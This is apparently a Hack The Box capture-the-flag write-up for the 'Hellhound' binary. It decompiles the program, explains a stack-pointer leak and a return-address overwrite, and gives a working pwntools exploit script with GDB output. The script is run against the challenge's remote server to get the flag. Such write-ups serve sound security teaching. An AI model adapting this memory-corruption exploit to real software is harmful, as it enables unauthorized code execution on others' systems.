Hellhound
10 minutes to read
We have a 64-bit binary called hellound
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
If we execute it, we have the possibility to perform some weird actions:
$ ./hellhound
This is what it used to look before the modifications..
_
/ \ _-'
_/| \-''- _ /
__-' { | \
/ \
/ 'o. |o }
| \ ;
',
\_ __\
''-_ \.//
/ '-____'
/
_'
_-'
[*] Interaction with Hellhound:
1. Analyze chipset 🔩
2. Modify hardware ⚒️
3. Check results ❓
>>
Reverse engineering
Let’s use Ghidra to obtain decompiled source code in C:
undefined8 main() {
ulong option;
long in_FS_OFFSET;
void *code_storage[8];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
code_storage[0] = malloc(0x40);
do {
while (true) {
while (true) {
printf(&menu);
option = read_num();
if (option != 2) break;
printf("\n[*] Write some code: ");
read(0, code_storage[0], 0x20);
}
if (2 < option) break;
if (option == 1) {
printf("\n[+] In the back of its head you see this serial number: [%ld]\n", code_storage);
} else {
LAB_00400de9:
printf("%s\n\n[-] Invalid option!\n", &DAT_0040105b);
}
}
if (option != 3) {
if (option == 69) {
free(code_storage[0]);
printf("%s[*] The beast seems quiet.. for the moment..\n", &DAT_0040105b);
if (canary == *(long *) (in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
goto LAB_00400de9;
}
code_storage[0] = *(void **) ((long) code_storage[0] + 8);
printf("%s\n[-] The beast went Berserk again!\n", &DAT_0040105b);
} while (true);
}
At first glance, it looks like a heap challenge because there is malloc
and free
being used. And we are dealing with Glibc 2.23:
$ .glibc/ld-2.23.so .glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
.
We have three options. The first one prints a string and leaks the address of code_storage
:
// ...
if (option == 1) {
printf("\n[+] In the back of its head you see this serial number: [%ld]\n", code_storage);
// ...
$ ./hellhound
This is what it used to look before the modifications..
_
/ \ _-'
_/| \-''- _ /
__-' { | \
/ \
/ 'o. |o }
| \ ;
',
\_ __\
''-_ \.//
/ '-____'
/
_'
_-'
[*] Interaction with Hellhound:
1. Analyze chipset 🔩
2. Modify hardware ⚒️
3. Check results ❓
>> 1
[+] In the back of its head you see this serial number: [140730358392056]
The second option allows us to write 0x20
bytes into code_storage[0]
:
// ...
if (option != 2) break;
printf("\n[*] Write some code: ");
read(0, code_storage[0], 0x20);
// ...
Notice that code_storage[0]
has 0x40
bytes assigned by malloc
at the beginning of the function:
// ...
setup();
banner();
code_storage[0] = malloc(0x40);
// ...
If we use option 3
, the pointer inside code_storage[0]
will be increased:
// ...
if (option != 3) {
// ...
}
code_storage[0] = *(void **) ((long) code_storage[0] + 8);
printf("%s\n[-] The beast went Berserk again!\n", &DAT_0040105b);
// ...
There is yet another option in the code that is not listed in the menu, which is 69
:
// ...
if (option == 69) {
free(code_storage[0]);
printf("%s[*] The beast seems quiet.. for the moment..\n", &DAT_0040105b);
if (canary == *(long *) (in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
// ...
It is running free
on code_storage[0]
and returns, which looks interesting.
Inside the binary, there is a function named berserk_mode_off
that is never called:
void berserk_mode_off() {
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
fflush(stdout);
system("cat ./flag.txt");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
This function will be the target for the exploit, in order to read the flag.
Exploit strategy
In summary, we have:
- One
malloc
:code_storage[0] = malloc(0x40)
- Option
1
to read the address ofcode_storage
- Option
2
to write up to0x20
bytes intocode_storage[0]
- Option
3
to increase the pointercode_storage[0]
in8
- Option
69
to usefree
oncode_storage[0]
and return frommain
The idea here is to modify the saved return address in the stack. For that, we will use option 1
to obtain the address of code_storage
and calculate the relative position of the return address. Then, we will write the address where the saved return address is stored in code_storage[1]
(option 2
). After that, we can increase the pointer using 3
to have code_storage[0] = <addr-of-saved-return-addr>
. Once we have this, we can modify the return address with option 2
in order to jump to berserk_mode_off
. And finally, we will use option 69
to return from main
.
Exploit development
Let’s start with this exploit script:
#!/usr/bin/env python3
from pwn import *
context.binary = 'hellhound'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, port)
def main():
p = get_process()
gdb.attach(p, 'continue')
p.sendlineafter(b'>> ', b'1')
p.recvuntil(b': [')
code_storage_addr = int(p.recvuntil(b']', drop=True).decode())
log.info(f'code_storage address: {hex(code_storage_addr)}')
input('First: ')
p.sendlineafter(b'>> ', b'2')
p.sendafter(b'[*] Write some code: ', b'A' * 8 + p64(code_storage_addr + 0x50))
p.sendlineafter(b'>> ', b'3')
input('Second: ')
p.sendlineafter(b'>> ', b'2')
p.sendafter(b'[*] Write some code: ', p64(context.binary.sym.berserk_mode_off))
input('Third: ')
p.interactive()
if __name__ == '__main__':
main()
We will use some debugging input
instructions and GDB (with pwndbg
) to see what is happening:
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 338105
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hellhound', '338105', '-x', '/tmp/pwndhd8p72l.gdb']
[+] Waiting for debugger: Done
[*] code_storage address: 0x7fff98c34fd8
First:
pwndbg> vis_heap_chunks
0x1431000 0x0000000000000000 0x0000000000000051 ........Q.......
0x1431010 0x0000000000000000 0x0000000000000000 ................
0x1431020 0x0000000000000000 0x0000000000000000 ................
0x1431030 0x0000000000000000 0x0000000000000000 ................
0x1431040 0x0000000000000000 0x0000000000000000 ................
0x1431050 0x0000000000000000 0x0000000000020fb1 ................ <-- Top chunk
pwndbg> x/30gx $rsp
0x7fff98c34f88: 0x0000000000400a0d 0x0000000000000000
0x7fff98c34f98: 0x0000000000000000 0x0000000000000000
0x7fff98c34fa8: 0x0000000000000000 0x0000000000000001
0x7fff98c34fb8: 0xd7400369940e3e00 0x00007fff98c35020
0x7fff98c34fc8: 0x0000000000400d18 0xffffffff0a1b6168
0x7fff98c34fd8: 0x0000000001431010 0x0000000000000001
0x7fff98c34fe8: 0x0000000000400e5d 0x0000000000000000
0x7fff98c34ff8: 0x0000000000000000 0x0000000000400e10
0x7fff98c35008: 0x0000000000400890 0x00007fff98c35100
0x7fff98c35018: 0xd7400369940e3e00 0x0000000000400e10
0x7fff98c35028: 0x00007f4f09be5840 0x00007fff98c35108
0x7fff98c35038: 0x00007fff98c35108 0x0000000109d51708
0x7fff98c35048: 0x0000000000400cc7 0x0000000000000000
0x7fff98c35058: 0xc2814ee54235364b 0x0000000000400890
0x7fff98c35068: 0x00007fff98c35100 0x0000000000000000
pwndbg> backtrace
#0 0x00007f4f09cbc360 in read () from ./.glibc/libc.so.6
#1 0x0000000000400a0d in read_num ()
#2 0x0000000000400d18 in main ()
#3 0x00007f4f09be5840 in __libc_start_main () from ./.glibc/libc.so.6
#4 0x00000000004008ba in _start ()
As can be seen, the address of code_storage
is 0x7fff98c34fd8
(successfully shown in the output of the exploit), which contains the address of the heap chunk (0x1431010
). Furthermore, the return address is 0x7f4f09be5840
(returns back to __libc_start_main
), and it is located at 0x7fff98c35028
, so 0x50
bytes more:
pwndbg> p/x 0x7fff98c35028 - 0x7fff98c34fd8
$1 = 0x50
Let’s continue:
pwndbg> continue
Continuing.
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 338105
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hellhound', '338105', '-x', '/tmp/pwndhd8p72l.gdb']
[+] Waiting for debugger: Done
[*] code_storage address: 0x7fff98c34fd8
First:
Second:
Now we see that code_storage[0]
(0x7fff98c34fd8
) contains the address where the saved return address is stored (0x7fff98c35028
):
pwndbg> x/30gx $rsp
0x7fff98c34f88: 0x0000000000400a0d 0x0000000000000000
0x7fff98c34f98: 0x0000000000000000 0x0000000000000000
0x7fff98c34fa8: 0x0000000000000000 0x0000000000000001
0x7fff98c34fb8: 0xd7400369940e3e00 0x00007fff98c35020
0x7fff98c34fc8: 0x0000000000400d18 0xffffffff0a1b6168
0x7fff98c34fd8: 0x00007fff98c35028 0x0000000000000001
0x7fff98c34fe8: 0x0000000000400e5d 0x0000000000000000
0x7fff98c34ff8: 0x0000000000000000 0x0000000000400e10
0x7fff98c35008: 0x0000000000400890 0x00007fff98c35100
0x7fff98c35018: 0xd7400369940e3e00 0x0000000000400e10
0x7fff98c35028: 0x00007f4f09be5840 0x00007fff98c35108
0x7fff98c35038: 0x00007fff98c35108 0x0000000109d51708
0x7fff98c35048: 0x0000000000400cc7 0x0000000000000000
0x7fff98c35058: 0xc2814ee54235364b 0x0000000000400890
0x7fff98c35068: 0x00007fff98c35100 0x0000000000000000
So, next we will modify this with the address of berserk_mode_off
(0x400977
):
pwndbg> x berserk_mode_off
0x400977 <berserk_mode_off>: 0x10ec8348e5894855
pwndbg> continue
Continuing.
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 338105
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hellhound', '338105', '-x', '/tmp/pwndhd8p72l.gdb']
[+] Waiting for debugger: Done
[*] code_storage address: 0x7fff98c34fd8
First:
Second:
Third:
And there it is changed:
pwndbg> x/30gx $rsp
0x7fff98c34f88: 0x0000000000400a0d 0x0000000000000000
0x7fff98c34f98: 0x0000000000000000 0x0000000000000000
0x7fff98c34fa8: 0x0000000000000000 0x0000000000000001
0x7fff98c34fb8: 0xd7400369940e3e00 0x00007fff98c35020
0x7fff98c34fc8: 0x0000000000400d18 0xffffffff0a1b6168
0x7fff98c34fd8: 0x00007fff98c35028 0x0000000000000001
0x7fff98c34fe8: 0x0000000000400e5d 0x0000000000000000
0x7fff98c34ff8: 0x0000000000000000 0x0000000000400e10
0x7fff98c35008: 0x0000000000400890 0x00007fff98c35100
0x7fff98c35018: 0xd7400369940e3e00 0x0000000000400e10
0x7fff98c35028: 0x0000000000400977 0x00007fff98c35108
0x7fff98c35038: 0x00007fff98c35108 0x0000000109d51708
0x7fff98c35048: 0x0000000000400cc7 0x0000000000000000
0x7fff98c35058: 0xc2814ee54235364b 0x0000000000400890
0x7fff98c35068: 0x00007fff98c35100 0x0000000000000000
pwndbg> continue
Continuing.
At this point, we will use option 69
to return from main
:
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 338105
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hellhound', '338105', '-x', '/tmp/pwndhd8p72l.gdb']
[+] Waiting for debugger: Done
[*] code_storage address: 0x7fff98c34fd8
First:
Second:
Third:
[*] Switching to interactive mode
[*] Interaction with Hellhound:
1. Analyze chipset 🔩
2. Modify hardware ⚒️
3. Check results ❓
>> $ 69
*** Error in `./hellhound': free(): invalid pointer: 0x00007fff98c35028 ***
======= Backtrace: =========
./.glibc/libc.so.6(+0x777f5)[0x7f4f09c3c7f5]
./.glibc/libc.so.6(+0x8038a)[0x7f4f09c4538a]
./.glibc/libc.so.6(cfree+0x4c)[0x7f4f09c4958c]
./hellhound[0x400dbb]
./hellhound[0x400977]
======= Memory map: ========
00400000-00402000 r-xp 00000000 fd:00 393385 ./hellhound
00601000-00602000 r--p 00001000 fd:00 393385 ./hellhound
00602000-00603000 rw-p 00002000 fd:00 393385 ./hellhound
01431000-01452000 rw-p 00000000 00:00 0 [heap]
7f4f04000000-7f4f04021000 rw-p 00000000 00:00 0
7f4f04021000-7f4f08000000 ---p 00000000 00:00 0
7f4f09bc5000-7f4f09d85000 r-xp 00000000 fd:00 393516 ./.glibc/libc.so.6
7f4f09d85000-7f4f09f85000 ---p 001c0000 fd:00 393516 ./.glibc/libc.so.6
7f4f09f85000-7f4f09f89000 r--p 001c0000 fd:00 393516 ./.glibc/libc.so.6
7f4f09f89000-7f4f09f8b000 rw-p 001c4000 fd:00 393516 ./.glibc/libc.so.6
7f4f09f8b000-7f4f09f8f000 rw-p 00000000 00:00 0
7f4f09f8f000-7f4f09fb5000 r-xp 00000000 fd:00 393518 ./.glibc/ld-2.23.so
7f4f0a18b000-7f4f0a18e000 r--p 00000000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a18e000-7f4f0a1a0000 r-xp 00003000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a1a0000-7f4f0a1a4000 r--p 00015000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a1a4000-7f4f0a1a5000 r--p 00018000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a1a5000-7f4f0a1a6000 rw-p 00019000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a1b0000-7f4f0a1b4000 rw-p 00000000 00:00 0
7f4f0a1b4000-7f4f0a1b5000 r--p 00025000 fd:00 393518 ./.glibc/ld-2.23.so
7f4f0a1b5000-7f4f0a1b6000 rw-p 00026000 fd:00 393518 ./.glibc/ld-2.23.so
7f4f0a1b6000-7f4f0a1b7000 rw-p 00000000 00:00 0
7fff98c15000-7fff98c36000 rw-p 00000000 00:00 0 [stack]
7fff98c99000-7fff98c9c000 r--p 00000000 00:00 0 [vvar]
7fff98c9c000-7fff98c9d000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
$
House of Spirit
Oh, there was an error on free
. We must recall that option 69
calls free
on code_storage[0]
. The error says “invalid pointer”, because there is not a valid heap chunk at that address. To overcome this, we must fake a chunk in the stack, find the address of a valid chunk, or set the address to NULL
.
This kind of trick has to do the House of Spirit (more information here). To keep things simple, we will set code_storage[0] = NULL
by using option 3
again before 69
:
p.sendlineafter(b'>> ', b'2')
p.sendafter(b'[*] Write some code: ', p64(context.binary.sym.berserk_mode_off) + p64(0))
input('Third: ')
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'69')
p.interactive()
If we remove all debugging points and GDB, we will see that it works, because free(NULL)
does not cause an error:
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 344925
[*] code_storage address: 0x7ffcc5ba39e8
[*] Switching to interactive mode
[*] The beast seems quiet.. for the moment..
HTB{f4k3_fl4g_4_t35t1ng}
$
Flag
Alright, let’s test on remote:
$ python3 solve.py 209.97.137.201:30189
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Opening connection to 209.97.137.201 on port 30189: Done
[*] code_storage address: 0x7fff8784e878
[*] Switching to interactive mode
[*] The beast seems quiet.. for the moment..
HTB{m4y_the_d0g5_5p1r1t_b3_w1th_u}
$
The full exploit code is here: solve.py
.